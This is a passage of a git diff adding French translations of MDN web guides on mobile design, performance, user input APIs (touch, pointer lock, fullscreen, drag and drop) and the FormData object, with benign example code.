+slug: Web/Guide/Mobile
+translation_of: Web/Guide/Mobile
+---
+<p>Cette page fournit un aperçu de certaines des techniques principales nécessaires pour concevoir des sites web qui fonctionneront bien sur les appareils mobiles. Si vous cherchez des informations sur le projet Firefox OS de Mozilla, consultez la page <a href="/fr/Firefox_OS">Firefox OS</a>. Des détails sur <a href="/fr/docs/Mozilla/Firefox_pour_Android" title="Firefox pour Android">Firefox pour Android</a> pourraient également vous intéresser.</p>
+<p>Cette page est divisée en deux sections, <a href="#Conception_pour_les_appareils_mobiles">conception pour les appareils mobiles</a> et <a href="#D.C3.A9veloppement_multinavigateur">développement multinavigateur</a>. Consultez également le guide de Jason Grlicky <a href="/fr/docs/Web_Development/Mobile/Mobile-friendliness">mobile-friendliness</a> pour les développeurs web.</p>
+<h2 id="Conception_pour_les_appareils_mobiles">Conception pour les appareils mobiles</h2>
+<p>Les appareils mobiles ont des caractéristiques physiques assez différentes des ordinateurs portables ou de bureau. Leurs écrans sont généralement plus petits, évidemment, mais ils changent aussi automatiquement l'orientation de l'écran entre portrait et paysage lorsque l'utilisateur les tourne. Ils disposent généralement d'écrans tactiles pour les manipuler. Des API comme la géolocalisation ou l'orientation de l'appareil ne sont pas toujours gérées sur un ordinateur ou y sont beaucoup moins utiles, alors qu'elles donnent aux utilisateurs mobiles de nouvelles manières d'interagir avec votre site.</p>
+<h3 id="Gestion_des_petits_écrans">Gestion des petits écrans</h3>
+<p>Le <a href="/fr/docs/Développement_Web/Design_web_Responsive">Responsive Web Design</a> est un terme pour un ensemble de techniques permettant à votre site web d'adapter sa disposition lorsque son environnement change ; en particulier la taille et l'orientation de l'écran. Parmi ces techniques :</p>
+<ul>
+ <li>les mises en page CSS fluides, pour permettre à la page de s'adapter progressivement lorsque la taille de la fenêtre de navigation change ;</li>
+ <li>l'utilisation de <a href="/fr/docs/CSS/Media_queries">media queries</a> pour inclure des règles CSS conditionnelles appropriées pour la <a href="/fr/docs/CSS/Media_queries#width">largeur</a> et la <a href="/fr/docs/CSS/Media_queries#height">hauteur</a> de l'écran.</li>
+</ul>
+<p>La <a href="/fr/docs/Mozilla/Mobile/Balise_meta_viewport">balise meta <em>viewport</em></a> indique au navigateur d'afficher votre site à l'échelle appropriée pour l'appareil de l'utilisateur.</p>
+<h3 id="Gestion_des_écrans_tactiles">Gestion des écrans tactiles</h3>
+<p>Pour utiliser un écran tactile, vous devrez travailler avec les <a href="/fr/docs/Web/Guide/DOM/Events/Touch_events">évènements DOM Touch</a>. Vous n'aurez pas la possibilité d'utiliser la pseudo-classe <a href="/fr/docs/CSS/:hover">CSS :hover</a> et devrez concevoir les éléments cliquables comme les boutons de manière à prendre en compte le fait que les doigts sont plus gros qu'un pointeur de souris. Consultez cet article concernant la <a class="external" href="http://www.whatcreative.co.uk/blog/tips/designing-for-touch-screen/">conception pour écrans tactiles</a>.</p>
+<p>Vous pouvez utiliser la media query <a href="/fr/docs/CSS/Media_queries#-moz-touch-enabled">-moz-touch-enabled</a> pour charger un style CSS différent sur un appareil tactile.</p>
+<h3 id="Optimisation_des_images">Optimisation des images</h3>
+<p>Pour aider les utilisateurs dont les appareils ont une bande passante faible ou coûteuse, vous pouvez optimiser les images en ne chargeant que celles qui sont appropriées pour la taille et la résolution de l'écran. Ceci peut se faire en CSS selon la <a href="/fr/docs/CSS/Media_queries#height">hauteur</a>, la <a href="/fr/docs/CSS/Media_queries#width">largeur</a> et la <a href="/fr/docs/CSS/Media_queries#-moz-device-pixel-ratio">densité en pixels</a>.</p>
+<p>Il est également possible d'utiliser des propriétés CSS pour concevoir des effets visuels comme des <a href="/fr/docs/CSS/Utilisation_de_dégradés_CSS">dégradés</a> et des <a href="/fr/docs/CSS/box-shadow">ombres</a> sans utiliser d'images.</p>
+<h3 id="API_mobiles">API mobiles</h3>
+<p>Enfin, vous pourrez tirer partir des nouvelles possibilités offertes par les appareils mobiles, comme l'<a href="/fr/docs/WebAPI/Detecting_device_orientation">orientation</a> et la <a href="/fr/docs/Using_geolocation">géolocalisation</a>.</p>
+<h2 id="Développement_multinavigateur">Développement multinavigateur</h2>
+<h3 id="Écriture_de_code_multinavigateur">Écriture de code multinavigateur</h3>
+<p>Pour créer des sites web qui fonctionneront de manière acceptable sur différents navigateurs mobiles :</p>
+<ul>
+ <li>Essayez d'éviter les fonctionnalités spécifiques à un navigateur, comme les propriétés CSS préfixées par le moteur de rendu.</li>
+ <li>Si vous avez besoin de ces fonctionnalités, vérifiez si d'autres navigateurs disposent de leurs propres versions de ces fonctionnalités, et traitez-les de la même manière.</li>
+ <li>Pour les navigateurs qui ne gèrent pas du tout ces fonctionnalités, fournissez une alternative acceptable.</li>
+</ul>
+<p>Par exemple, si vous prévoyez un fond avec dégradé de couleurs sur une zone de texte avec une propriété préfixée comme <code>-webkit-linear-gradient</code>, il est préférable d'ajouter les autres versions préfixées de la propriété <a href="/fr/docs/CSS/linear-gradient">linear-gradient</a>. Si vous ne le faites pas, assurez-vous au moins que le fond par défaut offre un bon contraste avec le texte : de cette manière la page sera au moins utilisable dans un navigateur qui n'est pas visé par votre règle <code>linear-gradient</code>.</p>
+<p>Consultez cette <a href="/fr/docs/Web/CSS/Reference/Mozilla_Extensions">liste des propriétés spécifiques à Gecko</a>, cette liste de <a href="/fr/docs/Web/CSS/Reference/Webkit_Extensions">propriétés spécifiques à WebKit</a>, ainsi que le tableau de Peter Beverloo des <a class="external" href="http://peter.sh/experiments/vendor-prefixed-css-property-overview/">propriétés spécifiques des moteurs de rendu des navigateurs</a>.</p>
+<p>Vous pouvez vous aider d'outils comme <a class="external" href="http://csslint.net/">CSS Lint</a> pour trouver des problèmes de ce genre dans votre code, et de préprocesseurs comme <a class="external" href="http://sass-lang.com/">SASS</a> et <a class="external" href="http://lesscss.org/">LESS</a> pour produire du code multinavigateur.</p>
+<h3 id="Attention_avec_la_détection_d'agent_utilisateur">Attention avec la détection d'agent utilisateur</h3>
+<p>Il est préférable que les sites web détectent des fonctionnalités spécifiques de l'appareil comme sa taille d'écran et ses capacités tactiles à l'aide des techniques listées ci-dessus, et s'y adaptent en conséquence. Mais parfois ce n'est pas possible et certains sites ont recours à la chaîne d'identification d'agent utilisateur (user agent) pour essayer de faire la distinction entre ordinateurs de bureau, tablettes et téléphones afin de servir un type de contenu différent à chaque type d'appareil.</p>
+<p>Si vous faites cela, assurez-vous que votre algorithme est correct et que vous ne fournissez pas le mauvais type de contenu à un appareil parce que vous ne traitez pas la chaîne d'identification d'un navigateur particulier. Consultez ce <a href="/fr/docs/Browser_detection_using_the_user_agent#Mobile.2C_Tablet_or_Desktop">guide d'utilisation de la chaîne user agent pour déteminer le type d'appareil</a>.</p>
+<h3 id="Test_sur_plusieurs_navigateurs">Test sur plusieurs navigateurs</h3>
+<p>Testez votre site web sur plusieurs navigateurs. Cela veut dire aussi tester sur plusieurs plateformes — au moins iOS et Android.</p>
+<ul>
+ <li>testez Safari sur l'iPhone avec <a class="link-https" href="https://developer.apple.com/devcenter/ios/index.action">iOS simulator</a></li>
+ <li>testez Opera et Firefox avec le <a class="link-https" href="https://developer.android.com/sdk/index.html">SDK Android</a>. Consultez ces instructions pour <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator">lancer Firefox pour Android avec l'émulateur Android</a>.</li>
+</ul>
diff --git a/files/fr/web/guide/performance/index.html b/files/fr/web/guide/performance/index.html
new file mode 100644
index 0000000000..5c2605f1aa
--- /dev/null
+++ b/files/fr/web/guide/performance/index.html
@@ -0,0 +1,20 @@
+---
+title: Optimisation et performances
+slug: Web/Guide/Performance
+tags:
+  - Optimisation
+  - Performances web
+  - Web
+translation_of: Web/Guide/Performance
+---
+<p>Lorsque l’on créent des sites et des applications internet modernes, il est important que notre code soit performant. C’est-à-dire, le faire fonctionner rapidement et efficacement. Lui permettant ainsi de fonctionner aussi efficacement à la fois pour les utilisateurs de puissants systèmes de bureau et pour les appareils portables ayant moins de puissance. On appel cela le PageSpeed Optimization (optimisation de la vitesse de chargement de pages web). Il y a plusieurs outils disponibles pour vérifiez les performances de chargement d’un site ou de blog internet. Les plus connus sont listés ci-dessous :  </p>
+
+<ul>
+ <li><a href="https://developers.google.com/speed/pagespeed/insights/">Google PageSpeed Insights</a></li>
+ <li><a href="https://www.pingdom.com">Pingdome - Website Performance Monitoring</a></li>
+ <li><a href="http://yslow.org/">ySlow</a></li>
+</ul>
+
+<p>Les sites internet statiques en HTML ont besoins, pour améliorer leurs performances, de techniques manuelles d’optimisation. Plusieurs produits logiciels open source à l’instar de WordPress, ont eux des plugins disponibles pour permettre aux propriétaires de sites web d’optimisez leurs performances web. <a href="https://codecanyon.net/item/wp-super-charge/17091749">WP Super Charge</a> est un des plugins disponible sur la boutique de WordPress, il permet à l’utilisateur d’optimisez les performances de son site en un clic.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/fr/web/guide/user_input_methods/index.html b/files/fr/web/guide/user_input_methods/index.html
new file mode 100644
index 0000000000..286b5940c5
--- /dev/null
+++ b/files/fr/web/guide/user_input_methods/index.html
@@ -0,0 +1,188 @@
+---
+title: Entrées utilisateur et méthodes
+slug: Web/Guide/User_input_methods
+translation_of: Web/Guide/User_input_methods
+---
+<div class="summary">
+<p><span class="seoSummary">Les entrées utilisateur modernes vont au-delà du simple clavier et souris: pensez aux écrans tactiles par exemple. Cet article fournit des recommendations pour gérer les entrées utilisateur et implémenter les contrôles des Open Web Apps, ainsi que des FAQs, des exemples concrets, et des liens pour ceux qui ont besoin d'informations supplémentaires sur les technologies utilisées. Les APIs et événements abordés sont en autre <a href="/fr/docs/Web/Guide/DOM/Events/Touch_events">les événements tactiles</a>, <a href="/fr/docs/WebAPI/Pointer_Lock">l'API Pointer Lock</a>, <a href="/fr/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">l'API Screen Orientation</a>, <a href="/fr/docs/Web/Guide/DOM/Using_full_screen_mode">l'API Fullscreen</a> et <a href="/fr/docs/Web/API/API_HTML_Drag_and_Drop">Drag &amp; Drop</a>.</span></p>
+</div>
+
+<h2 id="Workflow_entrées_utilisateur_et_contrôles">Workflow entrées utilisateur et contrôles</h2>
+
+<p>La diagramme suivant illustre le déroulement des opérations typique pour implémenter les mécanismes d'entrée utilisateur:</p>
+
+<p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/8085/user-input-and-controls.png" style="height: 86px; width: 303px;"></p>
+
+<p>Tout d'abord vous devez décider quels mécanismes en entrées vous voulez prendre en charge dans votre application: souris, clavier, doigt, etc. Une fois que vous avez décidé, vous pouvez les contrôler en utilisant les outils offerts par la plateforme web ou par des bibliothèques JavaScript.</p>
+
+<h2 id="Recommandations">Recommandations</h2>
+
+<p>Les mécanismes en entrées dépendent des capacités de l'appareil qui exécute l'application:</p>
+
+<ul>
+ <li>Certains appareils ont des écrans tactiles: le plateforme web dispose des <a href="/fr/docs/Web/Guide/DOM/Events/Touch_events">événements tactiles</a> pour interpréter l'activité du doigt sur les interfaces tactiles.</li>
+ <li>Pour les appareils ayant une souris/pavé tactile comme méthode de pointage, l'<a href="/fr/docs/WebAPI/Pointer_Lock">API Pointer Lock</a> aide à implémenter un jeu 3D à la première personne ou toute autre application nécessisant un contrôle total du dispositif de pointage. L'<a href="/fr/docs/Web/Guide/DOM/Using_full_screen_mode">API Fullscreen</a> quant à elle aide à afficher l'application en mode plein écran.</li>
+ <li>En utilisant les fonctionnalités telles que les éléments <a href="/fr/docs/Web/HTML/Contenu_editable">contentEditable</a>, vous pouvez implémenter des éditeurs rich-text rapidement et avec <a href="/fr/docs/Web/API/API_HTML_Drag_and_Drop">Drag&amp;Drop</a> vous pouvez laisser les utilisateurs déplacer des éléments dans votre application. Quand l'orientation de l'écran a de l'importance pour votre application, vous pouvez lire l'orientation de l'écran à travers l'<a href="/fr/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">API Screen Orientation</a> et verrouiller l'écran dans un sens.</li>
+ <li>Vous devriez toujours être attentif à l'accessibilité du clavier quand c'est approprié — beaucoup d'utilisateurs web utilisent uniquement le clavier pour naviger sur les sites web et applications, et les bloquer hors de votre fonctionnalité est une mauvaise idée.</li>
+</ul>
+
+<p>Vous trouverez ci-dessous un ensemble de recommandations et meilleures pratiques pour utiliser de tels outils dans des Open Web Apps.</p>
+
+<h3 id="Décidez_quel_mécanisme_en_entrée_vous_utilisez">Décidez quel mécanisme en entrée vous utilisez</h3>
+
+<h4 id="Clavier">Clavier</h4>
+
+<p>La saisie du clavier peut être contrôlée par votre application. Par exemple, si vous voulez ajouter des contrôles déclenchés quand des touches sont pressées, vous devez ajouter un gestionnaire d'événement sur l'objet window:</p>
+
+<pre class="brush: js">window.addEventListener("keydown", handleKeyDown, true);
+window.addEventListener("keyup", handleKeyUp, true);</pre>
+
+<p>où <code>handleKeyDown</code> et <code>handleKeyUp</code> sont des fonctions implémentant les contrôles sur les événements <code>keydown</code> et <code>keyup</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Jetez un coup d'oeil à la <a href="/fr/docs/Web/Events">Référence des événements</a> et au guide {{domxref("KeyboardEvent")}} pour en savoir plus sur les événements de clavier.</p>
+</div>
+
+<h4 id="Souris">Souris</h4>
+
+<p>Les événements qui se produisent quand l'utilisateur interagit avec un appareil de pointage comme une souris sont représentés par l'interface DOM {{domxref("MouseEvent")}}. Les événements de souris les plus communs sont <a href="/fr/docs/Web/Events/click"><code>click</code></a>, <a href="/fr/docs/Web/Events/dblclick"><code>dblclick</code></a>, <a href="/fr/docs/Web/Events/mouseup"><code>mouseup</code></a>, et <a href="/fr/docs/Web/Events/mousedown"><code>mousedown</code></a>. La liste de tous les événements souris utilisant l'interface MouseEvent est disponible dans la <a href="/fr/docs/Web/Events">Référence des événements</a>.<br>
+ <br>
+ Quand le périphérique d'entrée est une souris, vous pouvez également contrôler les entrées utilisateur avec l'API Pointer Lock et implémenter le Drag &amp; Drop (voir ci-dessous).</p>
+
+<h4 id="Toucher_du_doigt">Toucher du doigt</h4>
+
+<p>Quand vous développez des applications web destinées à être installées sur des appareils à écran tactile, il est recommandé de prendre en considération les différentes capacités de l'appareil, en terme de résolution d'écran et d'entrée utilisateur. Les <a href="/fr/docs/Web/Guide/DOM/Events/Touch_events">événements tactiles</a> peuvent vous aider à implémenter des éléments interactifs et des geste d'interactions courants sur les appareils à écran tactile.<br>
+ <br>
+ Si vous voulez utiliser les événements tactiles, vous devez ajouter des gestionnaires d'événement et spécifier des fonctions de rappel, appelées quand l'événement est déclenché:</p>
+
+<pre class="brush: js">element.addEventListener("touchstart", handleStart, false);
+element.addEventListener("touchend", handleEnd, false);
+element.addEventListener("touchcancel", handleCancel, false);
+element.addEventListener("touchend", handleEnd, false);
+element.addEventListener("touchmove", handleMove, false);</pre>
+
+<p>où <code>element</code> est l'élément du DOM sur lequel vous voulez enregistrer les événements tactiles.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Pour plus d'informations sur ce que vous pouvez faire avec les événements tactiles, lisez le guide des <a href="/fr/docs/Web/Guide/DOM/Events/Touch_events">événements tactiles</a>.</p>
+</div>
+
+<h4 id="Événements_de_pointeur">Événements de pointeur</h4>
+
+<p>Quand vous avez affaire à des appareils qui incorporent de multiples formes d'entrée, comme la souris, le toucher du doigt et la saisie au stylet, il peut être difficile de développer une solution qui marche pour tous ces mécanismes de contrôle différents. Les <a href="/fr/docs/Web/API/Pointer_events">événements de pointeur</a> aident les développeurs à gérer plus facilement les événements sur les appareils en normalisant le traitement de chacun d'entre eux. Un pointeur peut être n'importe quel contact sur l'écran, fait par le curseur d'une souris, d'un stylo, le toucher (y compris multi-touch) ou autre périphérique d'entrée de pointage. Les événements génériques pour gérer la saisie du pointeur ressemblent beaucoup à ceux pour la souris: <code>pointerdown</code>, <code>pointermove</code>, <code>pointerup</code>, <code>pointerover</code>, <code>pointerout</code>, etc.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Les événements du pointeur ne sont pas encore beaucoup pris en charge, mais le <a href="https://github.com/mozilla/pointer.js">polyfill pointer.js</a> est disponible sur le compte GitHub de Mozilla.</p>
+</div>
+
+<h3 id="Implémentez_les_contrôles">Implémentez les contrôles</h3>
+
+<h4 id="Verrouiller_le_pointeur">Verrouiller le pointeur</h4>
+
+<p>Dans certains cas, typiquement dans le développement de jeux, vous pouvez avoir besoin d'accéder aux événements de la souris même lorsque le curseur dépasse la limite du navigateur ou de l'écran: l'{{domxref("Pointer_Lock_API", "API Pointer Lock")}} vous donne le contrôle total de l'appareil de pointage.</p>
+
+<p>Voici le code pour demander que le pointeur soit bloqué à l'intérieur d'<code>element</code>:</p>
+
+<pre class="brush: js">element.requestPointerLock();</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Pour un tutoriel complet et la référence, lisez notre page {{domxref("Pointer_Lock_API", "Pointer Lock API")}}.</p>
+</div>
+
+<h4 id="Orientation_de_l'écran">Orientation de l'écran</h4>
+
+<p>Si l'orientation de l'écran est importante pour votre application, vous pouvez lire l'état de l'orientation de l'écran, être informé quand cet état change, et verrouiller l'orientation dans un état spécifique (habituellement portrait ou paysage) à travers l'<a href="/fr/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">API Screen Orientation</a>.</p>
+
+<p>Les données d'orientation peuvent être récupérées à travers l'attribut {{domxref("screen.orientation")}} ou à travers la media query <a href="/fr/docs/Web/CSS/@media/orientation"><code>orientation</code></a>. Quand <code>screen.orientation</code> change, l'événement {{domxref("screen.orientationchange")}} est declenché sur l'objet screen. Verrouiller l'orientation de l'écran en possible en invoquant la méthode {{domxref("screen.lockOrientation")}}, tandis que la méthode {{domxref("screen.unlockOrientation")}} supprime le verrouillage de l'écran précédemment définit.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Pour plus d'informations sur l'API Screen Orientation API consultez <a href="/fr/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">Gérer l'orientation de l'écran</a>.</p>
+</div>
+
+<h4 id="Plein_écran">Plein écran</h4>
+
+<p>Vous pourriez avoir besoin de présenter un élément de votre application (comme une {{ htmlelement("video") }} par exemple) en mode plein écran. Vous pouvez y parvenir en appelant {{domxref("Element.requestFullscreen()")}} sur cet élément. Gardez à l'esprit que beaucoup de navigateurs l'implémentent encore avec un préfixe de fournisseur, vous aurez donc probablement besoin de découper votre code ainsi:</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> elem <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById<span class="punctuation token">(</span></span><span class="string token">"myvideo"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span>elem<span class="punctuation token">.</span>requestFullscreen<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  elem<span class="punctuation token">.</span><span class="function token">requestFullscreen<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>elem<span class="punctuation token">.</span>msRequestFullscreen<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  elem<span class="punctuation token">.</span><span class="function token">msRequestFullscreen<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>elem<span class="punctuation token">.</span>mozRequestFullScreen<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  elem<span class="punctuation token">.</span><span class="function token">mozRequestFullScreen<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>elem<span class="punctuation token">.</span>webkitRequestFullscreen<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  elem<span class="punctuation token">.</span><span class="function token">webkitRequestFullscreen<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: Pour en savoir plus sur la fonctionnalité de plein écran, lisez notre documentation <a href="/fr/docs/Web/Guide/DOM/Using_full_screen_mode">utiliser le plein écran</a>.</p>
+</div>
+
+<h4 id="Drag_Drop">Drag &amp; Drop</h4>
+
+<p><a href="/fr/docs/Web/API/API_HTML_Drag_and_Drop">Drag &amp; Drop</a> (glisser/déposer) permet à l'utilisateur de votre application de cliquer sur un élément, maintenir le bouton de la souris enfoncé sur cet élément, le faire glisser vers un autre emplacement, et relacher le bouton de la souris pour le déposer à cet emplacement.<br>
+ <br>
+ Voici un exemple qui permet à du contenu d'être déplacé:</p>
+
+<pre class="brush: html">&lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Ce texte peut être déplacé')"&gt;
+    Ce texte &lt;strong&gt;peut&lt;/strong&gt; être déplacé.
+
&lt;/div&gt;</pre>
+
+<p>Ici, on</p>
+
+<ul>
+ <li>Définit l'attribut <a href="/fr/docs/Web/HTML/Attributs_universels#attr-dir"><code>draggable</code></a> à vrai pour que l'élément puisse être déplacé.</li>
+ <li>Ajoute un gestionnaire d'événement <a href="/fr/docs/Web/Events/dragstart"><code>dragstart</code></a> qui définit les données de déplacement à l'intérieur.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez trouver plus d'informations dans la documentation MDN <a href="/fr/docs/Web/API/API_HTML_Drag_and_Drop">Drag &amp; Drop</a>.</p>
+</div>
+
+<h4 id="contentEditable">contentEditable</h4>
+
+<p>Dans un Open Web App, tout élément DOM peut être rendu directement éditable en utilisant l'attribut <a href="/fr/docs/Web/HTML/Attributs_universels#attr-class"><code>contenteditable</code></a>.</p>
+
+<pre class="brush: html">&lt;div contenteditable="true"&gt;
+    Ce texte peut être édité par l'utilisateur.
+&lt;/div&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez trouver les informations de compatibilité, des exemples et d'autres ressources dans le guide <a href="/fr/docs/Web/HTML/Contenu_editable">Contenu Éditable</a>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<dl>
+ <dt><strong><a href="/en/DOM/Touch_events#Example">Suivre plusieurs points de contact à la fois</a></strong></dt>
+ <dd>Cet exemple permet de gérer un toucher multiple (plusieurs contacts simultanés), permettant ainsi à l'utilisateur de dessiner dans un <code>{{htmlelement("canvas")}}</code> avec plusieurs doigts. Cela ne fonctionne qu'avec les navigateurs supportant les interactions tactiles.</dd>
+ <dt><strong><a href="/fr/docs/WebAPI/Pointer_Lock#example">Démo de verrouillage de pointeur simple</a></strong></dt>
+ <dd>Vous avons écrit une démo de verrouillage de pointeur pour vous montrer comment l'utiliser pour mettre en place un système de contrôle simple. Cette démo utilise JavaScript pour dessiner une balle dans un élément <code>{{htmlelement("canvas")}}</code>. Quand vous cliquez sur le canvas, le verrouillage du pointeur est utilisé pour supprimer le curseur de la souris à l'écran et vous permettre de déplacer la balle avec la souris.</dd>
+ <dt><strong><a href="http://html5demos.com/contenteditable">Démo contentEditable</a></strong></dt>
+ <dd>Ceci est un exemple qui montre comment contenteditable peut être utilisé pour créer une section de document éditable, et dont l'état est sauvegardé en utilisant <a href="/fr/docs/Web/API/Web_Storage_API">LocalStorage</a>.</dd>
+</dl>
+
+<h2 id="Tutoriels">Tutoriels</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/DOM/Events/Touch_events">Événement tactiles</a></li>
+ <li><a href="/fr/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">Gérer l'orientation de l'écran</a></li>
+ <li><a href="/fr/docs/Web/Guide/DOM/Using_full_screen_mode">Utiliser le mode plein écran</a></li>
+ <li><a href="/fr/docs/Web/API/HTML_Drag_and_Drop_API/Multiple_items">Drag &amp; Drop de multiples éléments</a></li>
+ <li><a href="/fr/docs/Web/API/API_HTML_Drag_and_Drop/Op%C3%A9rations_de_glissement">Opérations de glissement</a></li>
+</ul>
+
+<h2 id="Référence">Référence</h2>
+
+<ul>
+ <li>{{domxref("MouseEvent")}}</li>
+ <li>{{domxref("KeyboardEvent")}}</li>
+ <li><a href="/fr/docs/Web/Guide/DOM/Events/Touch_events">Événements tactiles</a></li>
+ <li><a href="/fr/docs/WebAPI/Pointer_Lock">Pointer Lock API</a></li>
+ <li><a href="/fr/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">Screen Orientation API</a></li>
+ <li><a href="/fr/docs/Web/Guide/DOM/Using_full_screen_mode">Fullscreen API</a></li>
+ <li><a href="/fr/docs/Web/API/API_HTML_Drag_and_Drop">Drag &amp; Drop</a></li>
+ <li><a href="/fr/docs/Web/HTML/Contenu_editable">Content Editable</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Keyboard_events_in_Firefox_OS_TV">Keyboard events in Firefox OS TV</a></li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/TVs_connected_devices/TV_remote_control_navigation">Implementing TV remote control navigation</a></li>
+</ul>
diff --git a/files/fr/web/guide/using_formdata_objects/index.html b/files/fr/web/guide/using_formdata_objects/index.html
new file mode 100644
index 0000000000..f284c72df4
--- /dev/null
+++ b/files/fr/web/guide/using_formdata_objects/index.html
@@ -0,0 +1,140 @@
+---
+title: Utiliser les objets FormData
+slug: Web/Guide/Using_FormData_Objects
+translation_of: Web/API/FormData/Using_FormData_Objects
+---
+<p>L'objet <a href="/en/DOM/XMLHttpRequest/FormData" title="en/DOM/XMLHttpRequest/FormData"><code>FormData</code></a> vous permet de créer un ensemble de paires clef-valeur pour un envoi via <code>XMLHttpRequest</code>. Cet objet est destiné avant tout à l'envoi de données de formulaire, mais il peut être utilisé indépendamment des formulaires afin de transmettre des données associées à une clef. Les données transmises sont dans le même format qu'utiliserait la méthode <code>submit()</code> pour envoyer des données si le type d'encodage du formulaire correspondait à "multipart/form-data".</p>
+
+<h2 id="Créer_un_objet_FormData_de_zéro">Créer un objet <code>FormData</code> de zéro</h2>
+
+<p>Vous pouvez créer un objet <code>FormData</code> en l'instanciant puis en lui ajoutant des champs au moyen de la méthode <a href="/en/DOM/XMLHttpRequest/FormData#append()" title="en/XMLHttpRequest/FormData#append()"><code>append()</code></a>, comme ci-dessous :</p>
+
+<pre class="brush: js">var formData = new FormData();
+
+formData.append("username", "Groucho");
+formData.append("accountnum", 123456); // le nombre 123456 est immédiatement converti en la chaîne "123456"
+
+// Choix de l'utilisateur à partir d'un input HTML de type file...
+formData.append("userfile", fileInputElement.files[0]);
+
+// Pseudo-objet fichier JavaScript...
+var content = '&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;'; // le corps du nouveau fichier...
+var blob = new Blob([content], { type: "text/xml"});
+
+formData.append("webmasterfile", blob);
+
+var request = new XMLHttpRequest();
+request.open("POST", "http://foo.com/submitform.php");
+request.send(formData);
+</pre>
+
+<div class="note"><strong>Remarque :</strong> les champs "userfile" et "webmasterfile" contiennent tous les deux un fichier. Le nombre assigné au champ "accountnum" est immédiatement converti en une chaîne de caractères par la méthode <a href="/en/DOM/XMLHttpRequest/FormData#append()" title="en/XMLHttpRequest/FormData#append()"><code>FormData.append()</code></a>  (la valeur du champ peut être soit un {{ domxref("Blob") }}, soit un {{ domxref("File") }}, ou encore une chaîne de caractères : <strong>si la valeur n'est ni un objet Blob ni un objet File, la valeur est convertie en une chaîne de caractères</strong>).</div>
+
+<p>Cet exemple crée une instance de <code>FormData</code> contenant des valeurs pour les champs nommés "username", "accountnum", "userfile" et "webmasterfile", puis utilise la méthode <a href="/en/DOM/XMLHttpRequest#send()" title="en/XMLHttpRequest#send()"><code>send()</code></a> de <code>XMLHttpRequest</code> pour envoyer les données du formulaire. Le champ "webmasterfile" est un <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>. Un objet <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a> représente un pseudo-objet fichier de données brutes et immuables. Les Blobs représentent des données qui ne sont pas forcément dans un format natif de JavaScript. L'interface {{ domxref("File") }} est basée sur le <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>, héritant des fonctionnalités du blob et l'étendant afin de supporter les fichiers système de l'utilisateur. Afin de construire un <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>, vous pouvez invoquer le <a href="/en/DOM/Blob#Constructor" title="en/DOM/Blob#Constructor"><code>constructeur Blob</code></a>.</p>
+
+<h2 id="Récupérer_un_objet_FormData_à_partir_d'un_formulaire">Récupérer un objet <code>FormData</code> à partir d'un formulaire</h2>
+
+<p>Pour construire un objet <code>FormData</code> qui contient les données d'un {{ HTMLElement("form") }} existant, il suffit de spécifier cet élément formulaire lors de la création de l'objet <code>FormData</code> :</p>
+
+<pre class="brush: js">var formData = new FormData(someFormElement);
+</pre>
+
+<p>Par exemple :</p>
+
+<pre class="brush: js">var formElement = document.getElementById("myFormElement");
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+request.send(new FormData(formElement));
+</pre>
+
+<p>Vous pouvez également ajouter des données additionnelles à l'objet <code>FormData</code> après l'avoir extrait d'un formulaire et avant son envoi, comme ceci :</p>
+
+<pre class="brush: js">var formElement = document.getElementById("myFormElement");
+formData = new FormData(formElement);
+formData.append("serialnumber", serialNumber++);
+request.send(formData);</pre>
+
+<p>Cela vous permet de compléter les données du formulaire avant de les envoyer, en incluant des informations additionnelles qui ne sont pas nécessairement accessibles à l'utilisateur dans le formulaire.</p>
+
+<h2 id="Envoyer_des_fichiers_avec_un_objet_FormData">Envoyer des fichiers avec un objet <code>FormData</code></h2>
+
